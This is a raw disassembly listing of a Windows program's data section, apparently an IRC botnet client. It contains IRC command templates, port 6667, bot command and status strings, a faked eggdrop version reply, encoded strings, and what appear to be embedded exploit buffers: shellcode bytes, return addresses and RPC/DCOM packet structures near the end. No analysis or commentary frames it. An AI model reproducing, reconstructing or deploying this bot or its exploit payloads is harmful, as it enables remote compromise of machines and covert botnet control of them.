aRamdisk	db 'ramdisk',0          ; DATA XREF: sub_408F2E+F6o
aCdRom		db 'cd-rom',0           ; DATA XREF: sub_408F2E+E4o
		align 10h
aRemote		db 'remote',0           ; DATA XREF: sub_408F2E+D2o
		align 4
aFixed		db 'fixed',0            ; DATA XREF: sub_408F2E+C0o
		align 10h
aRemovable	db 'removable',0        ; DATA XREF: sub_408F2E+AEo
		align 4
aDriveInformati	db 'Drive information - ',0 ; DATA XREF: sub_408F2E+2Eo
		align 4
aDriveinfoThrea	db 'Driveinfo thread',0 ; DATA XREF: sub_4091E2+2Bo
		align 4
aThread		db 'thread',0           ; DATA XREF: sub_4093B6+98o
					; sub_4094E6+93o
		align 10h
aBtg		db 'btg',0              ; DATA XREF: sub_4093B6+93o
dword_419474	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_4093B6+67o
aBtgTriedExecut	db '- btg tried executing an unreadable address. (%08X)',0
aS		db '*%s*',0             ; DATA XREF: sub_4097A7+81o
					; sub_4098F3+C4o
		align 4
dword_4194BC	dd 2343003h, 2036925h, 7325202Eh, 0 ; DATA XREF: sub_409AD5+DAo
dword_4194CC	dd 3430032Dh, 2037802h	; DATA XREF: sub_409AD5:loc_409B25o
aNoThreadsRunni	db '- No threads running.',0
		align 4
dword_4194EC	dd 3430032Dh, 2037802h,	694C202Dh, 6E697473h, 30032067h
					; DATA XREF: sub_409AD5+3Ao
		dd 69250234h, 32F0203h,	25023430h, 20020369h, 65726874h
		dd 3A736461h, 0
aCouldNotGetAVa	db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_409CB1+15o
		align 10h
dword_419540	dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h
					; DATA XREF: sub_409DD0+3A3o
		dd 30033A72h, 64250234h, 203h
dword_419568	dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
					; DATA XREF: sub_409DD0+37Fo
		dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h
		dd 203h
dword_419594	dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
					; DATA XREF: sub_409DD0+32Fo
		dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h
		dd 2E64252Eh, 296425h
aCouldNotResolv	db 'Could not resolve name',0 ; DATA XREF: sub_409DD0:loc_409F06o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409DD0+80o
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409DD0+6Ao
		align 4
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409DD0:loc_409E24o
		align 4
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_409DD0+34o
		align 4
unk_419618	db  55h	; U		; DATA XREF: sub_40A1A7+Co
		db 73h,	61h, 67h
		db  65h	; e
		db 3Ah,	20h, 3
		db  30h	; 0
		db 34h,	2, 74h
		db  72h	; r
		db 61h,	63h, 65h
		db    3
		db 2, 20h, 3Ch
		db    3
		db 30h,	34h, 2
		db  68h	; h
		db 6Fh,	73h, 74h
		db    3
		db 2, 3Eh, 20h
aHopcountTimeou	db '[<hopcount> <timeout> <pingcount>]',0
		align 4
dword_41965C	dd 202h			; DATA XREF: sub_40A2D2+159o
dword_419660	dd 0A0D7325h, 0		; DATA XREF: sub_40A2D2+6Eo
dword_419668	dd 3334h		; DATA XREF: sub_40A2D2+41o
dword_41966C	dd 3430032Dh, 3752502h,	51202D02h, 79726575h, 20676E69h
					; DATA XREF: sub_40A2D2+24o
		dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h
		dd 3A02h
dword_419698	dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h
					; DATA XREF: sub_40A4A4+44o
		dd 2E020373h, 0
dword_4196B4	dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h
					; DATA XREF: sub_40A50E+97o
		dd 30032072h, 73250234h, 203h
dword_4196D4	dd 0F88094A8h, 0D0F3A2F0h, 0A0C6E2BCh, 0EDA8h, 0
					; DATA XREF: sub_40A50E:loc_40A562o
aAbcdef		db 'abcdef',0           ; DATA XREF: sub_40A8AD+1Bo
		align 10h
aUsername	db 'username',0         ; DATA XREF: sub_40A9CF:loc_40C8EAo
		align 4
aId		db 'id',0               ; DATA XREF: sub_40A9CF+1EF2o
		align 10h
dword_419700	dd 12EA0h		; DATA XREF: sub_40A9CF+1ECDr
		align 8
dword_419708	dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h
					; DATA XREF: sub_40A9CF+1EB1o
		dd 3642502h, 79616402h,	3207325h, 25023430h, 68020364h
		dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh
		dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h
		dd 3207325h, 25023430h,	68020364h, 2572756Fh, 30032073h
		dd 64250234h, 696D0203h, 6574756Eh, 7325h
dword_41977C	dd 4DC8A28h		; DATA XREF: sub_40A9CF+1C87r
		dd 2 dup(0)
dword_419788	dd 4D38h		; DATA XREF: sub_40A9CF+1C72r
		align 10h
dword_419790	dd 22710E8h		; DATA XREF: sub_40A9CF+1C4Br
		dd 2 dup(0)
a9252		db '9252',0             ; DATA XREF: sub_40A9CF+1BFAo
		align 4
dword_4197A4	dd 99C3EAA0h		; DATA XREF: sub_40A9CF+1BE9r
		dd 3 dup(0)
dword_4197B4	dd 261D51F8h		; DATA XREF: sub_40A9CF+1BC2r
		align 10h
dword_4197C0	dd 260A0h		; DATA XREF: sub_40A9CF+1BADr
		align 8
dword_4197C8	dd 1371D1F8h		; DATA XREF: sub_40A9CF+1B86r
		dd 2 dup(0)
dword_4197D4	dd 135E8h		; DATA XREF: sub_40A9CF+1B71r
		dd 0
dword_4197DC	dd 0E7606A0h		; DATA XREF: sub_40A9CF+1B36r
		dd 2 dup(0)
dword_4197E8	dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h
					; DATA XREF: sub_40A9CF+1B17o
		dd 3643330h, 20732502h,	6E69575Bh, 5D3233h
dword_41980C	dd 18820E30h		; DATA XREF: sub_40A9CF+1AFCr
		dd 2 dup(0)
dword_419818	dd 18788h		; DATA XREF: sub_40A9CF+1AE7r
		align 10h
dword_419820	dd 65657053h, 3203A64h,	25023430h, 4B020375h, 65732F42h
					; DATA XREF: sub_40A9CF+1AC8o
		dd 63h
dword_419838	dd 4CBE20h		; DATA XREF: sub_40A9CF+19B1r
		dd 2 dup(0)
dword_419844	dd 2343003h, 2037325h	; DATA XREF: sub_40A9CF+1992o
aHasNoIpv4End_	db ' has no ipv4 end.',0
		align 10h
dword_419860	dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h
					; DATA XREF: sub_40A9CF+1976o
		dd 2037325h, 20736920h,	2343003h, 252E6925h, 69252E69h
		dd 369252Eh, 2
a2002		db '2002',0             ; DATA XREF: sub_40A9CF+1851o
		align 4
dword_419898	dd 0E7AAB82Ch		; DATA XREF: sub_40A9CF+180Br
		dd 3 dup(0)
dword_4198A8	dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h
					; DATA XREF: sub_40A9CF+17C1o
		dd 2037325h, 0
dword_4198C4	dd 158F28h		; DATA XREF: sub_40A9CF+1710r
		align 10h
dword_4198D0	dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h
					; DATA XREF: sub_40A9CF+16F1o
					; sub_40A9CF+17ECo
		dd 2037325h, 2Eh
dword_4198EC	dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h
					; DATA XREF: sub_40A9CF+16AAo
		dd 20657079h, 2343003h,	2036425h, 64646120h, 73736572h
		dd 3003203Ah, 73250234h, 203h
dword_419920	dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h
					; DATA XREF: sub_40A9CF+1659o
		dd 3A737365h, 34300320h, 3732502h, 2
dword_419944	dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h
					; DATA XREF: sub_40A9CF+1602o
		dd 3A737365h, 34300320h, 3732502h, 2
dword_419968	dd 3Ch			; DATA XREF: sub_40A9CF:loc_40BFBAo
					; sub_40A9CF:loc_40C011o ...
dword_41996C	dd 0FF28h		; DATA XREF: sub_40A9CF+1534r
		dd 0
aQuitChangingSe	db 'QUIT :changing server',0 ; DATA XREF: sub_40A9CF:loc_40BED3o
		align 4
dword_41998C	dd 5B7606ABh		; DATA XREF: sub_40A9CF+14F5r
		dd 3 dup(0)
dword_41999C	dd 26C9788h		; DATA XREF: sub_40A9CF+14E0r
		dd 2 dup(0)
dword_4199A8	dd 48B0h		; DATA XREF: sub_40A9CF+14B2r
		align 10h
dword_4199B0	dd 4CEEE8h		; DATA XREF: sub_40A9CF+1484r
		dd 2 dup(0)
dword_4199BC	dd 0ECE0h		; DATA XREF: sub_40A9CF+146Fr
		dd 0
dword_4199C4	dd 0DC9BA4F1h		; DATA XREF: sub_40A9CF+1450r
		dd 3 dup(0)
dword_4199D4	dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h
					; DATA XREF: sub_40A9CF+1431o
		dd 2343003h, 30257830h,	2035832h, 63656420h, 3003203Ah
		dd 75250234h, 2E0203h
dword_419A04	dd 8A248h		; DATA XREF: sub_40A9CF+1400r
		align 10h
dword_419A10	dd 2D77B5A0h		; DATA XREF: sub_40A9CF+1399r
		dd 2 dup(0)
dword_419A1C	dd 10468h		; DATA XREF: sub_40A9CF+1374r
		dd 0
dword_419A24	dd 12BBA0h		; DATA XREF: sub_40A9CF+135Fr
		align 10h
dword_419A30	dd 1471A0h		; DATA XREF: sub_40A9CF+134Ar
		dd 2 dup(0)
dword_419A3C	dd 45444F4Dh, 732520h	; DATA XREF: sub_40A9CF+1333o
dword_419A44	dd 8BD28h		; DATA XREF: sub_40A9CF+1310r
		align 10h
dword_419A50	dd 1277AE62h		; DATA XREF: sub_40A9CF+12E9r
		align 10h
aDebugModeIsS_	db 'Debug mode is %s.',0 ; DATA XREF: sub_40A9CF+129Co
		align 4
aOff		db 'off',0              ; DATA XREF: sub_40A9CF:loc_40BC5Bo
aOn		db 'on',0               ; DATA XREF: sub_40A9CF+1280o
					; sub_40A9CF:loc_40BC84o
		align 4
off_419A7C	dd offset loc_410DB7+1	; DATA XREF: sub_40A9CF+125Fr
		dd 2 dup(0)
dword_419A88	dd 2DCF8h		; DATA XREF: sub_40A9CF+122Br
		align 10h
dword_419A90	dd 4688368h		; DATA XREF: sub_40A9CF+11E7r
		dd 2 dup(0)
dword_419A9C	dd 123B8h		; DATA XREF: sub_40A9CF+11A3r
		dd 0
dword_419AA4	dd 4C2338h		; DATA XREF: sub_40A9CF+114Cr
		align 10h
dword_419AB0	dd 54524150h, 732520h	; DATA XREF: sub_40A9CF+1135o
dword_419AB8	dd 1265A0h		; DATA XREF: sub_40A9CF+1112r
		dd 2 dup(0)
dword_419AC4	dd 0C0AB0h		; DATA XREF: sub_40A9CF+10B0r
		align 10h
dword_419AD0	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40A9CF+1098o
					; sub_40A9CF+10FAo ...
dword_419ADC	dd 0A6CB0h		; DATA XREF: sub_40A9CF+102Cr
		dd 2 dup(0)
aQuitSRemoved_	db 'QUIT :%s removed.',0 ; DATA XREF: sub_40A9CF+100Ao
		align 4
dword_419AFC	dd 5AF4DA8h		; DATA XREF: sub_40A9CF+FF6r
		dd 2 dup(0)
dword_419B08	dd 8085E8h		; DATA XREF: sub_40A9CF+FC1r
		dd 2 dup(0)
dword_419B14	dd 4CD168h		; DATA XREF: sub_40A9CF+F80r
		align 10h
dword_419B20	dd 0CEF58D2Ch		; DATA XREF: sub_40A9CF+F52r
		align 10h
dword_419B30	dd 2DB260E0h		; DATA XREF: sub_40A9CF+F24r
		dd 2 dup(0)
dword_419B3C	dd 90BBA32Ch		; DATA XREF: sub_40A9CF+EFEr
		dd 3 dup(0)
dword_419B4C	dd 48489E0h		; DATA XREF: sub_40A9CF+ED0r
		dd 2 dup(0)
dword_419B58	dd 1246E8h		; DATA XREF: sub_40A9CF+EAAr
		dd 2 dup(0)
dword_419B64	dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h
					; DATA XREF: sub_40A9CF+E77o
dword_419B78	dd 0DFBD949h		; DATA XREF: sub_40A9CF+E5Ar
		dd 3 dup(0)
dword_419B88	dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h
					; DATA XREF: sub_40A9CF+E2Fo
		dd 2037325h, 0
off_419BA4	dd offset loc_40E3E0	; DATA XREF: sub_40A9CF+DC8r
		align 10h
aItTookMeUms_	db 'It took me %ums.',0 ; DATA XREF: sub_40A9CF+DA9o
		align 4
dword_419BC4	dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h
					; DATA XREF: sub_40A9CF+D20o
		dd 2037325h, 0
dword_419BE0	dd 293E0h		; DATA XREF: sub_40A9CF+CAFr
		align 8
dword_419BE8	dd 0E426671h		; DATA XREF: sub_40A9CF+C68r
		dd 3 dup(0)
dword_419BF8	dd 0E04A6C27h		; DATA XREF: sub_40A9CF+C05r
		dd 4 dup(0)
dword_419C0C	dd 2BBDB0A9h		; DATA XREF: sub_40A9CF+BDEr
		dd 3 dup(0)
dword_419C1C	dd 86670h		; DATA XREF: sub_40A9CF+B97r
		dd 2 dup(0)
dword_419C28	dd 23C76670h		; DATA XREF: sub_40A9CF+B82r
		dd 2 dup(0)
dword_419C34	dd 4CBE670h		; DATA XREF: sub_40A9CF+B6Dr
		align 10h
dword_419C40	dd 2577B5A0h		; DATA XREF: sub_40A9CF+B3Fr
		dd 2 dup(0)
dword_419C4C	dd 203A5049h, 2343003h,	2037325h, 0 ; DATA XREF: sub_40A9CF+B20o
dword_419C5C	dd 4C38h		; DATA XREF: sub_40A9CF+B0Cr
		dd 0
dword_419C64	dd 123F0AA8h		; DATA XREF: sub_40A9CF+AE5r
		align 10h
dword_419C70	dd 289D4860h		; DATA XREF: sub_40A9CF+AB4r
		dd 2 dup(0)
dword_419C7C	dd 28A446E8h		; DATA XREF: sub_40A9CF+A83r
		dd 2 dup(0)
dword_419C88	dd 5E9DD92Bh		; DATA XREF: sub_40A9CF+A5Dr
		dd 3 dup(0)
dword_419C98	dd 5E9E29C3h		; DATA XREF: sub_40A9CF+A11r
		dd 3 dup(0)
dword_419CA8	dd 489DAC36h		; DATA XREF: sub_40A9CF+9DCr
		dd 3 dup(0)
dword_419CB8	dd 29A560E1h		; DATA XREF: sub_40A9CF+9A1r
		dd 3 dup(0)
dword_419CC8	dd 9A060h		; DATA XREF: sub_40A9CF+96Cr
		dd 2 dup(0)
dword_419CD4	dd 69F334E0h		; DATA XREF: sub_40A9CF+937r
		dd 3 dup(0)
dword_419CE4	dd 14EFBCE0h		; DATA XREF: sub_40A9CF+911r
		align 10h
dword_419CF0	dd 0A7768h		; DATA XREF: sub_40A9CF+8FCr
		dd 2 dup(0)
dword_419CFC	dd 0B4768h		; DATA XREF: sub_40A9CF+8C5r
		dd 2 dup(0)
dword_419D08	dd 43B8h		; DATA XREF: sub_40A9CF+87Er
		align 10h
aThisBuildIsBro	db 'This build is broken and will not function properly.',0
					; DATA XREF: sub_40A9CF:loc_40B1D8o
		align 4
aThisBuildIsFul	db 'This build is fully functional',0 ; DATA XREF: sub_40A9CF+7FDo
		align 4
dword_419D68	dd 2343003h, 4B4F5242h,	2034E45h, 0 ; DATA XREF: sub_40A9CF:loc_40B1ADo
dword_419D78	dd 2333003h, 2034B4Fh, 0 ; DATA	XREF: sub_40A9CF+7D2o
dword_419D84	dd 0ACh, 0		; DATA XREF: sub_40A9CF+79Eo
dword_419D8C	dd 0B4B7B58Ah, 0EBD0ACF6h, 0EE9DA98Dh, 0DBFAB7E3h, 0B19CD9FFh
					; DATA XREF: sub_40A9CF+790o
		dd 8CBCB6DEh, 0E09BA9F5h, 2 dup(0)
dword_419DB0	dd 3115E88h		; DATA XREF: sub_40A9CF+77Ar
		dd 2 dup(0)
dword_419DBC	dd 0B12C0878h		; DATA XREF: sub_40A9CF+753r
		dd 3 dup(0)
dword_419DCC	dd 0EE5AD128h		; DATA XREF: sub_40A9CF+6EDr
		dd 3 dup(0)
aALSsSCJEKi	db '¿«×ÄÄØé˜Ü¹œ™Ï—؆ÎÜ¥µ»ª›',0 ; DATA XREF: sub_40A9CF+534o
		align 4
		dd 0
dword_419DFC	dd 0F888959Bh, 0F2FEEDF7h, 0BB8CE3A7h, 0C489EDAEh, 2 dup(0)
					; DATA XREF: sub_40A9CF+448o
dword_419E14	dd 0C5A9B38Ch, 0E7C0CDD4h, 0AD81C189h, 0EFB3F6BFh, 0C6B388B9h
					; DATA XREF: sub_40A9CF+437o
		dd 0CDF6E2EAh, 80C8FFA2h, 0F583C599h, 0FF8A8EADh, 0D0F7DAF7h
		dd 0A087E5A6h, 2 dup(0)
dword_419E48	dd 24648h		; DATA XREF: sub_40A9CF+410r
		align 10h
dword_419E50	dd 29A012A1h		; DATA XREF: sub_40A9CF+3E9r
		align 10h
dword_419E60	dd 29A0C6E9h		; DATA XREF: sub_40A9CF+3BBr
		align 10h
dword_419E70	dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h
					; DATA XREF: sub_40A9CF+39Co
		dd 3203A64h, 25023430h,	20373h
dword_419E90	dd 0FDD9520h		; DATA XREF: sub_40A9CF+2C0r
		dd 2 dup(0)
dword_419E9C	dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h
					; DATA XREF: sub_40A9CF+2A1o
		dd 3D203A64h, 2343003h,	2037325h, 0
dword_419EC0	dd 232320h		; DATA XREF: sub_40A9CF+1E3o
dword_419EC4	dd 25219520h		; DATA XREF: sub_40A9CF+18Dr
		align 10h
dword_419ED0	dd 407D28h		; DATA XREF: sub_40A9CF+158r
		dd 2 dup(0)
dword_419EDC	dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h
					; DATA XREF: sub_40A9CF+139o
		dd 2037325h, 0
dword_419EF8	dd 47B91A8h		; DATA XREF: sub_40A9CF+106r
		dd 2 dup(0)
dword_419F04	dd 4B43494Eh, 732520h	; DATA XREF: sub_40A9CF+CCo
					; sub_40A9CF+EFo ...
dword_419F0C	dd 132330h		; DATA XREF: sub_40A9CF+90r
		dd 2 dup(0)
dword_419F18	dd 3677C869h		; DATA XREF: sub_40A9CF+69r
		dd 3 dup(0)
aLinkLink@linkP	db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: sub_40C93C+88o
					; sub_40D871+85Fo
		align 4
asc_419F48:				; DATA XREF: sub_40C93C+30o
					; sub_40C93C+B5o
		unicode	0, <;>,0
asc_419F4C	db '<=',0               ; DATA XREF: sub_40CA29:loc_40CE59o
		align 10h
asc_419F50	db '>=',0               ; DATA XREF: sub_40CA29:loc_40CE07o
		align 4
asc_419F54:				; DATA XREF: sub_40CA29:loc_40CDDBo
		dw 3Eh
		unicode	0, <>,0
asc_419F58	db '!=',0               ; DATA XREF: sub_40CA29:loc_40CDAFo
		align 4
asc_419F5C	db '==',0               ; DATA XREF: sub_40CA29:loc_40CD83o
		align 10h
aIpv6		db '$ipv6',0            ; DATA XREF: sub_40CA29:loc_40CC43o
					; sub_40CA29:loc_40CD58o
		align 4
aFirewall	db '$firewall',0        ; DATA XREF: sub_40CA29:loc_40CC1Fo
					; sub_40CA29:loc_40CD34o
		align 4
aLatency	db '$latency',0         ; DATA XREF: sub_40CA29:loc_40CBFBo
					; sub_40CA29:loc_40CD10o
		align 10h
aFree_0		db '$free',0            ; DATA XREF: sub_40CA29:loc_40CBD7o
					; sub_40CA29:loc_40CCECo
		align 4
aVersion	db '$version',0         ; DATA XREF: sub_40CA29:loc_40CBB1o
					; sub_40CA29:loc_40CCC6o
		align 4
aUptime		db '$uptime',0          ; DATA XREF: sub_40CA29+158o
					; sub_40CA29+26Do
a32s16s32s	db '%32s %16s %32s',0   ; DATA XREF: sub_40CA29+EEo
		align 4
asc_419FAC	db '&&',0               ; DATA XREF: sub_40CA29+9Do
					; sub_40CA29+45Do
		align 10h
asc_419FB0:				; DATA XREF: sub_40CA29+28o
		unicode	0, <)>,0
aExecutingComma	db 'Executing command(s): %s',0 ; DATA XREF: sub_40CEB0+5Co
		align 10h
a6667		db '6667',0             ; DATA XREF: sub_40CF2F:loc_40CF60o
		align 4
aCSCCUCUSCCC	db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_40D043+27Bo
					; sub_40D871+431o
		align 10h
aG:					; DATA XREF: sub_40D043+1DCo
					; sub_40D871+392o
		unicode	0, <G>,0
aA:					; DATA XREF: sub_40D043+1C6o
					; sub_40D871+37Co
		unicode	0, <A>,0
aB:					; DATA XREF: sub_40D043+1B0o
					; sub_40D871+366o
		unicode	0, <B>,0
aUnk		db 'UNK',0              ; DATA XREF: sub_40D043+160o
					; sub_40D871+316o
aUserSSSS	db 'USER %s %s %s :%s',0 ; DATA XREF: sub_40D043+E2o
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_40D043+3Fo
aNoticeS	db 'NOTICE %s :',0      ; DATA XREF: sub_40D420+10o
					; sub_40D53F+37o
aPrivmsgS	db 'PRIVMSG %s :',0     ; DATA XREF: sub_40D4AB+10o
					; sub_40D53F+AFo
		align 4
dword_41A038	dd 1			; DATA XREF: sub_40D53F:loc_40D680o
dword_41A03C	dd 7373656Dh, 20656761h, 0 ; DATA XREF:	sub_40D53F:loc_40D629o
dword_41A048	dd 49544F4Eh, 25204543h, 13A2073h, 0 ; DATA XREF: sub_40D53F+8Fo
dword_41A058	dd 56495250h, 2047534Dh, 3A207325h, 1 ;	DATA XREF: sub_40D53F+63o
aMirc		db 'mIRC',0             ; DATA XREF: sub_40D734+6o
					; sub_40D74D:loc_40D76Eo
		align 10h
asc_41A070:				; DATA XREF: sub_40D871+CB7o
		unicode	0, <*>,0
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40D871:loc_40E1C0o
					; sub_40E618+89o
		align 4
asc_41A07C	db '][',0               ; DATA XREF: sub_40D871+807o
					; sub_40D871+88Co
		align 10h
a332		db '332',0              ; DATA XREF: sub_40D871:loc_40DF8Eo
aNick		db 'NICK',0             ; DATA XREF: sub_40D871:loc_40DF3Eo
		align 4
a@:					; DATA XREF: sub_40D871:loc_40DEBEo
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_40D871:loc_40DE96o
					; sub_40E618+33o
a451		db '451',0              ; DATA XREF: sub_40D871:loc_40DE70o
aUserhostS	db 'USERHOST %s',0      ; DATA XREF: sub_40D871+5C4o
					; sub_40D871+5EEo
aModeSXi	db 'MODE %s +xi',0      ; DATA XREF: sub_40D871+571o
a001		db '001',0              ; DATA XREF: sub_40D871:loc_40DD97o
aModeSSmntu	db 'MODE %s +smntu',0   ; DATA XREF: sub_40D871+515o
		align 4
aJoin		db 'JOIN',0             ; DATA XREF: sub_40D871:loc_40DD25o
		align 4
aError		db 'ERROR',0            ; DATA XREF: sub_40D871:loc_40DCFDo
		align 4
a433		db '433',0              ; DATA XREF: sub_40D871:loc_40DB2Do
dword_41A0D8	dd 4950013Ah, 1474Eh	; DATA XREF: sub_40D871+290o
dword_41A0E0	dd 4950013Ah, 474Eh	; DATA XREF: sub_40D871:loc_40DAEBo
dword_41A0E8	dd 52455601h, 4E4F4953h, 1732520h, 0 ; DATA XREF: sub_40D871+265o
aEggdropV1_6_16	db 'eggdrop v1.6.16',0  ; DATA XREF: sub_40D871:loc_40DAD1o
dword_41A108	dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h
					; DATA XREF: sub_40D871+24Eo
		dd 73256433h, 69572820h, 2932336Eh, 1
dword_41A12C	dd 4556013Ah, 4F495352h, 14Eh ;	DATA XREF: sub_40D871+226o
dword_41A138	dd 4556013Ah, 4F495352h, 4Eh ; DATA XREF: sub_40D871:loc_40DA81o
aSend		db 'SEND',0             ; DATA XREF: sub_40D871+CDo
		align 4
dword_41A14C	dd 4344013Ah, 43h	; DATA XREF: sub_40D871+A6o
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40D871:loc_40D8DDo
					; sub_40D871+901o ...
aMode		db 'MODE',0             ; DATA XREF: sub_40D871:loc_40D8C2o
		align 4
aPong		db 'PONG',0             ; DATA XREF: sub_40D871:loc_40D8A7o
		align 4
aPongS		db 'PONG %s',0          ; DATA XREF: sub_40D871+25o
aPing		db 'PING',0             ; DATA XREF: sub_40D871+Ao
		align 4
aLinkLink@link	db 'link!link@link',0   ; DATA XREF: sub_40E618:loc_40E7A5o
		align 4
byte_41A18C	db 41h			; DATA XREF: sub_40E979+3Cr
					; sub_40EB4E+24r ...
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h
dword_41A1D0	dd 3430032Dh, 3732502h,	30032E02h, 73250234h, 202D0203h
					; DATA XREF: sub_4129CA+5Co
		dd 202E7525h, 20776152h, 6E617274h, 72656673h, 206F7420h
		dd 63207325h, 6C706D6Fh, 2E657465h, 0
		dd 1130h, 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0F5h, 28h, 5Ch
		dd 400DC28Fh, 5	dup(0)
		dd 1, 0
		dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h
		dd 77777772h, 77F9D463h, 750362C3h, 75035173h, 3 dup(717564B8h)
		dd 71AB7BFBh, 773AD507h, 7C941EEDh, 77DB565Ch, 77FD1F89h
		dd 2 dup(77E216B8h), 1130h, 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0F5h, 28h, 5Ch
		dd 400DC28Fh, 5	dup(0)
		dd 1, 0
		dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch,	5E21B8EFh
		dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0
		dd 2 dup(4A9D5E21h), 0
		dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h
		dd 77777772h, 77F32836h, 750362C3h, 75035173h, 3 dup(7C2FA0F7h)
		dd 2 dup(71AB7BFBh), 7C941EEDh,	77E216B8h, 77FD1F89h, 2	dup(77E216B8h)
		dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
aFxnbfxfxnbfxfx:
		unicode	0, <FXNBFXFXNBFXFXFXFX>,0
		align 4
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		align 8
		dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
		dd 20h,	0
		dd 20h,	5C005Ch, 0
		dd offset dword_43005C
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		align 10h
		dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
		dd 2180310h, 10016C6h, 100139Dh, 1001C55h, 1001C98h
dword_41A7A8	dd 5F5C0A0Dh, 2E2Fh	; DATA XREF: sub_410649+59o
					; sub_410B52+Fo
dword_41A7B0	dd 30B0005h, 10h, 48h, 0 ; DATA	XREF: sub_410649+Fo
		dd 16D016D0h, 0
